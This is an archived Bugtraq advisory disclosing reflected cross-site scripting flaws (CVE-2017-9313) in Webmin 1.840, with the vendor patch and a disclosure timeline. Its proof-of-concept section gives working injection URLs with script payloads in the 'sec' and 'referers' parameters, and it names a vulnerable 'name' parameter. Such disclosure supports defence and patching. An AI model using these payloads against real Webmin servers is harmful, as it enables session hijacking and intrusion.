bugtraq - [CVE-2017-9313] Webmin 1.840 Multiple XSS Vulnerabilities

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <201707020835.v628ZNx8016147@sf01web2.securityfocus.com>
Date: Sun, 2 Jul 2017 08:35:23 GMT
From: andys3c@...il.com
To: bugtraq@...urityfocus.com
Subject: [CVE-2017-9313] Webmin 1.840 Multiple XSS Vulnerabilities

Vulnerability type: Reflected Cross Site Scripting
------------------------
Product: Webmin
------------------------
Affected version: Webmin 1.840 and possibly 
earlier
------------------------
Patched version: Webmin 1.850
------------------------
Credit: Andy Tan
------------------------
CVE ID: CVE-2017-9313
------------------------

===============
Proof of Concept
================
Vulnerable Modules:
https://192.168.1.20:10000/man/view_man.cgi?page=foo&sec=<script>alert('xss')</script>

https://192.168.1.20:10000/webmin/change_referers.cgi?referer=0&referers=<script>alert('xss')</script>

https://192.168.1.20:10000/acl/save_user.cgi
(Vulnerable 'name' parameter)

Vendor contact timeline:
------------------------
2017-06-12: Contacted vendor.
2017-06-28: Vendor released new patch.
2017-07-02: Public disclosure.